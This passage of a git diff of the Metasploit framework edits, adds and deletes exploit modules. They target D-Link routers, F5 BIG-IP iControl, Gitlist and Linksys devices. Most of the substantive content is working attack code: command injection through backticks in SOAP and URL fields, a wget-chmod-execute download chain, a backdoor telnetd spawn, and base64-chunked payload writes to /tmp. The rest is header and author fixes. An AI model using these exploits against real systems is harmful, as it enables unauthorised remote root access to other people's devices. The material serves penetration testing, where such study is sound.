Exploitation - unknown Exploitation state") - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - return - end - - def exploit_mips - - downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) - - #thx to Juan for his awesome work on the mipsel elf support - @pl = generate_payload_exe - @elf_sent = false - - # - # start our server - # - resource_uri = '/' + downfile - - if (datastore['DOWNHOST']) - service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri - else - # do not use SSL for this part - # XXX: See https://dev.metasploit.com/redmine/issues/8498 - # It must be possible to do this without directly editing the - # datastore. - if datastore['SSL'] - ssl_restore = true - datastore['SSL'] = false - end - - #we use SRVHOST as download IP for the coming wget command. - #SRVHOST needs a real IP address of our download host - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") - srv_host = Rex::Socket.source_address(rhost) - else - srv_host = datastore['SRVHOST'] - end - - service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri - - print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => resource_uri - }}) - - # Restore SSL preference - # XXX: See https://dev.metasploit.com/redmine/issues/8498 - # It must be possible to do this without directly editing the - # datastore. - datastore['SSL'] = true if ssl_restore - end - - # - # download payload - # - print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}") - #this filename is used to store the payload on the device - filename = rand_text_alpha_lower(8) - - cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}" - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") - end - - # wait for payload download - if (datastore['DOWNHOST']) - print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload") - select(nil, nil, nil, datastore['HTTP_DELAY']) - else - wait_linux_payload - end - - register_file_for_cleanup("/tmp/#{filename}") - - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - end - - def request(cmd, type) + def execute_command(cmd, opts) + new_portmapping_descr = rand_text_alpha(8) + new_external_port = rand(32767) + 32768 + new_internal_port = rand(32767) + 32768 uri = '/soap.cgi' + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" + data_cmd = "<?xml version=\"1.0\"?>" data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" data_cmd << "<SOAP-ENV:Body>" - - if type == "add" - vprint_status("#{rhost}:#{rport} - adding portmapping") - - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" - - data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" - data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>" - data_cmd << "<NewLeaseDuration></NewLeaseDuration>" - data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>" - data_cmd << "<NewEnabled>1</NewEnabled>" - data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>" - data_cmd << "<NewRemoteHost></NewRemoteHost>" - data_cmd << "<NewProtocol>TCP</NewProtocol>" - data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>" - data_cmd << "</m:AddPortMapping>" - else - #we should clean it up ... otherwise we are not able to exploit it multiple times - vprint_status("#{rhost}:#{rport} - deleting portmapping") - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" - - data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" - data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>" - data_cmd << "</m:DeletePortMapping>" - end - + data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" + data_cmd << "<NewPortMappingDescription>#{new_portmapping_descr}</NewPortMappingDescription>" + data_cmd << "<NewLeaseDuration></NewLeaseDuration>" + data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>" + data_cmd << "<NewEnabled>1</NewEnabled>" + data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>" + data_cmd << "<NewRemoteHost></NewRemoteHost>" + data_cmd << "<NewProtocol>TCP</NewProtocol>" + data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>" + data_cmd << "</m:AddPortMapping>" data_cmd << "</SOAP-ENV:Body>" data_cmd << "</SOAP-ENV:Envelope>" @@ -232,36 +132,9 @@ class Metasploit3 < Msf::Exploit::Remote }, 'data' => data_cmd }) - return res + return res rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end - end - - # Handle incoming requests from the server - def on_request_uri(cli, request) - #print_status("on_request_uri called: #{request.inspect}") - if (not @pl) - print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") - return - end - print_status("#{rhost}:#{rport} - Sending the payload to the server...") - @elf_sent = true - send_response(cli, @pl) - end - - # wait for the data to be sent - def wait_linux_payload - print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...") - - waited = 0 - while (not @elf_sent) - select(nil, nil, nil, 1) - waited += 1 - if (waited > datastore['HTTP_DELAY']) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?") - end + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb deleted file mode 100644 index 0c5ba23950..0000000000 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb +++ /dev/null @@ -1,188 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'D-Link Devices UPnP SOAP Telnetd Command Execution', - 'Description' => %q{ - Various D-Link Routers are vulnerable to OS command injection in the UPnP SOAP - interface. This module has been tested successfully on DIR-300, DIR-600, DIR-645, - DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices - may be affected. - }, - 'Author' => - [ - 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module - 'juan vazquez' # minor help with msf module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'OSVDB', '94924' ], - [ 'BID', '61005' ], - [ 'EDB', '26664' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] - ], - 'DisclosureDate' => 'Jul 05 2013', - 'Privileged' => true, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Payload' => - { - 'Compat' => { - 'PayloadType' => 'cmd_interact', - 'ConnectionType' => 'find', - }, - }, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, - 'Targets' => - [ - [ 'Automatic', { } ], - ], - 'DefaultTarget' => 0 - )) - - register_options( - [ - Opt::RPORT(49152) #port of UPnP SOAP webinterface - ], self.class) - - register_advanced_options( - [ - OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), - OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) - ], self.class) - end - - def tel_timeout - (datastore['TelnetTimeout'] || 10).to_i - end - - def banner_timeout - (datastore['TelnetBannerTimeout'] || 25).to_i - end - - def exploit - @new_portmapping_descr = rand_text_alpha(8) - @new_external_port = rand(32767) + 32768 - @new_internal_port = rand(32767) + 32768 - telnetport = rand(32767) + 32768 - - vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") - - cmd = "telnetd -p #{telnetport}" - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - - print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") - ctx = { 'Msf' => framework, 'MsfExploit' => self } - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx }) - - if sock.nil? - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") - end - - add_socket(sock) - - print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") - prompt = negotiate_telnet(sock) - if prompt.nil? - sock.close - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") - else - print_good("#{rhost}:#{rport} - Telnet session successfully established...") - end - - handler(sock) - end - - def request(cmd, type) - - uri = '/soap.cgi' - - data_cmd = "<?xml version=\"1.0\"?>" - data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" - data_cmd << "<SOAP-ENV:Body>" - - if type == "add" - vprint_status("#{rhost}:#{rport} - adding portmapping") - - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" - - data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" - data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>" - data_cmd << "<NewLeaseDuration></NewLeaseDuration>" - data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>" - data_cmd << "<NewEnabled>1</NewEnabled>" - data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>" - data_cmd << "<NewRemoteHost></NewRemoteHost>" - data_cmd << "<NewProtocol>TCP</NewProtocol>" - data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>" - data_cmd << "</m:AddPortMapping>" - else - #we should clean it up ... otherwise we are not able to exploit it multiple times - vprint_status("#{rhost}:#{rport} - deleting portmapping") - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" - - data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" - data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>" - data_cmd << "</m:DeletePortMapping>" - end - - data_cmd << "</SOAP-ENV:Body>" - data_cmd << "</SOAP-ENV:Envelope>" - - begin - res = send_request_cgi({ - 'uri' => uri, - 'vars_get' => { - 'service' => 'WANIPConn1' - }, - 'ctype' => "text/xml", - 'method' => 'POST', - 'headers' => { - 'SOAPAction' => soapaction, - }, - 'data' => data_cmd - }) - return res - rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") - end - end - - def negotiate_telnet(sock) - begin - Timeout.timeout(banner_timeout) do - while(true) - data = sock.get_once(-1, tel_timeout) - return nil if not data or data.length == 0 - if data =~ /\x23\x20$/ - return true - end - end - end - rescue ::Timeout::Error - return nil - end - end - -end diff --git a/modules/exploits/linux/http/dolibarr_cmd_exec.rb b/modules/exploits/linux/http/dolibarr_cmd_exec.rb index d50b15a7da..1513892d77 100644 --- a/modules/exploits/linux/http/dolibarr_cmd_exec.rb +++ b/modules/exploits/linux/http/dolibarr_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/dreambox_openpli_shell.rb b/modules/exploits/linux/http/dreambox_openpli_shell.rb index b9175e4cdb..b788d79503 100644 --- a/modules/exploits/linux/http/dreambox_openpli_shell.rb +++ b/modules/exploits/linux/http/dreambox_openpli_shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/esva_exec.rb b/modules/exploits/linux/http/esva_exec.rb index 273d9fe54f..de1a4d8942 100644 --- a/modules/exploits/linux/http/esva_exec.rb +++ b/modules/exploits/linux/http/esva_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/f5_icontrol_exec.rb b/modules/exploits/linux/http/f5_icontrol_exec.rb new file mode 100644 index 0000000000..a62532c29a --- /dev/null +++ b/modules/exploits/linux/http/f5_icontrol_exec.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "F5 iControl Remote Root Command Execution", + 'Description' => %q{ + This module exploits an authenticated remote command execution + vulnerability in the F5 BIGIP iControl API (and likely other + F5 devices). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'bperry' # Discovery, Metasploit module + ], + 'References' => + [ + ['CVE', '2014-2928'], + ['URL', 'http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html'] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['F5 iControl', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => "Sep 17 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']), + OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']), + OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']) + ], self.class) + end + + def check + get_hostname = %Q{<?xml version="1.0" encoding="ISO-8859-1"?> + <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> + <SOAP-ENV:Body> + <n1:get_hostname xmlns:n1="urn:iControl:System/Inet" /> + </SOAP-ENV:Body> + </SOAP-ENV:Envelope> + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'data' => get_hostname, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + + res.body =~ /y:string">(.*)<\/return/ + hostname = $1 + send_cmd("whoami") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'data' => get_hostname, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + + res.body =~ /y:string">(.*)<\/return/ + new_hostname = $1 + + if new_hostname == "root.a.b" + pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?> + <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> + <SOAP-ENV:Body> + <n1:set_hostname xmlns:n1="urn:iControl:System/Inet"> + <hostname>#{hostname}</hostname> + </n1:set_hostname> + </SOAP-ENV:Body> + </SOAP-ENV:Envelope> + } + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'data' => pay, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def send_cmd(cmd) + pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?> + <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"> + <SOAP-ENV:Body> + <n1:set_hostname xmlns:n1="urn:iControl:System/Inet"> + <hostname>`#{cmd}`.a.b</hostname> + </n1:set_hostname> + </SOAP-ENV:Body> + </SOAP-ENV:Envelope> + } + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'data' => pay, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + end + + def exploit + filename = Rex::Text.rand_text_alpha_lower(5) + + print_status('Sending payload in chunks, might take a small bit...') + i = 0 + while i < payload.encoded.length + cmd = "echo #{Rex::Text.encode_base64(payload.encoded[i..i+4])}|base64 --decode|tee -a /tmp/#{filename}" + send_cmd(cmd) + i = i + 5 + end + + print_status('Triggering payload...') + + send_cmd("sh /tmp/#{filename}") + end +end diff --git a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb index 184ea9c2e6..dff154782b 100644 --- a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb +++ b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/fritzbox_echo_exec.rb b/modules/exploits/linux/http/fritzbox_echo_exec.rb index 6990a9491a..698afb9fba 100644 --- a/modules/exploits/linux/http/fritzbox_echo_exec.rb +++ b/modules/exploits/linux/http/fritzbox_echo_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -24,8 +24,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Unknown', # Vulnerability discovery - 'Fabian Braeunlein <fabian@breaking.systems>', # Metasploit PoC with wget method - 'Michael Messner <devnull@s3cur1ty.de>' # Metasploit module + 'Fabian Braeunlein <fabian[at]breaking.systems>', # Metasploit PoC with wget method + 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => @@ -59,8 +59,9 @@ class Metasploit3 < Msf::Exploit::Remote } ], ], - 'DefaultTarget' => 0 + 'DefaultTarget' => 0 )) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check @@ -109,6 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Exploiting...") execute_cmdstager( + :flavor => :echo, :linemax => 92 ) end diff --git a/modules/exploits/linux/http/gitlist_exec.rb b/modules/exploits/linux/http/gitlist_exec.rb new file mode 100644 index 0000000000..22c67b55c6 --- /dev/null +++ b/modules/exploits/linux/http/gitlist_exec.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Gitlist Unauthenticated Remote Command Execution', + 'Description' => %q{ + This module exploits an unauthenticated remote command execution vulnerability + in version 0.4.0 of Gitlist. The problem exists in the handling of an specially + crafted file name when trying to blame it. + }, + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Author' => + [ + 'drone', #discovery/poc by @dronesec + 'Brandon Perry <bperry.volatile[at]gmail.com>' #Metasploit module + ], + 'References' => + [ + ['CVE', '2014-4511'], + ['EDB', '33929'], + ['URL', 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/'] + ], + 'Payload' => + { + 'Space' => 8192, # max length of GET request really + 'BadChars' => "&\x20", + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet python perl bash gawk netcat netcat-e ruby php openssl', + } + }, + 'Targets' => + [ + ['Gitlist 0.4.0', { }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 30 2014' + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) + ], self.class) + end + + def check + repo = get_repo + + if repo.nil? + return Exploit::CheckCode::Unknown + end + + chk = Rex::Text.encode_base64(rand_text_alpha(rand(32)+5)) + + res = send_command(repo, "echo${IFS}" + chk + "|base64${IFS}--decode") + + if res && res.body + if res.body.include?(Rex::Text.decode_base64(chk)) + return Exploit::CheckCode::Vulnerable + elsif res.body.to_s =~ /sh.*not found/ + return Exploit::CheckCode::Vulnerable + end + end + + Exploit::CheckCode::Safe + end + + def exploit + repo = get_repo + if repo.nil? + fail_with(Failure::Unknown, "#{peer} - Failed to retrieve the remote repository") + end + send_command(repo, payload.encoded) + end + + def get_repo + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, "/") + }) + + unless res + return nil + end + + first_repo = /href="\/gitlist\/(.*)\/"/.match(res.body) + + unless first_repo && first_repo.length >= 2 + return nil + end + + repo_name = first_repo[1] + + repo_name + end + + def send_command(repo, cmd) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, repo, 'blame', 'master', '""`' + cmd + '`') + }, 1) + + res + end + +end diff --git a/modules/exploits/linux/http/gpsd_format_string.rb b/modules/exploits/linux/http/gpsd_format_string.rb index bc7621a5dc..1a1b961b1c 100644 --- a/modules/exploits/linux/http/gpsd_format_string.rb +++ b/modules/exploits/linux/http/gpsd_format_string.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits a format string vulnerability in the Berlios GPSD server. This vulnerability was discovered by Kevin Finisterre. }, - 'Author' => [ 'Yann Senotier <yann.senotier [at] cyber-networks.fr>' ], + 'Author' => [ 'Yann Senotier <yann.senotier[at]cyber-networks.fr>' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb index cbc3fc3043..2491fe0af6 100644 --- a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb +++ b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/hp_system_management.rb b/modules/exploits/linux/http/hp_system_management.rb index 1029c220a0..5ebaca92ab 100644 --- a/modules/exploits/linux/http/hp_system_management.rb +++ b/modules/exploits/linux/http/hp_system_management.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb index 0a7a08978f..d221f58945 100644 --- a/modules/exploits/linux/http/kloxo_sqli.rb +++ b/modules/exploits/linux/http/kloxo_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb b/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb index c97e1db578..a625370869 100644 --- a/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb +++ b/modules/exploits/linux/http/lifesize_uvc_ping_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/linksys_apply_cgi.rb b/modules/exploits/linux/http/linksys_apply_cgi.rb index 95d28ad2c9..e46621bd2a 100644 --- a/modules/exploits/linux/http/linksys_apply_cgi.rb +++ b/modules/exploits/linux/http/linksys_apply_cgi.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb index 6e5c006a98..c4d7219cd1 100644 --- a/modules/exploits/linux/http/linksys_e1500_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_e1500_apply_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module + 'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/linksys_themoon_exec.rb b/modules/exploits/linux/http/linksys_themoon_exec.rb index 0e7f7bd091..274e17cfce 100644 --- a/modules/exploits/linux/http/linksys_themoon_exec.rb +++ b/modules/exploits/linux/http/linksys_themoon_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Johannes Ullrich', #worm discovery 'Rew', # original exploit 'infodox', # another exploit - 'Michael Messner <devnull@s3cur1ty.de>', # Metasploit module + 'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, @@ -62,8 +62,9 @@ class Metasploit3 < Msf::Exploit::Remote } ], ], - 'DefaultTarget' => 0 + 'DefaultTarget' => 0 )) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end @@ -115,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("#{peer} - Exploiting...") - execute_cmdstager + execute_cmdstager({:flavor => :echo}) end end diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb index 26d1c3c07b..e134c8e6db 100644 --- a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']), OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20]) ], self.class) - + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit test_login - execute_cmdstager + execute_cmdstager({:flavor => :echo}) end # Sends an HTTP request with authorization header to the router diff --git a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb index bb8c137b99..289ad49c36 100644 --- a/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module + 'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff 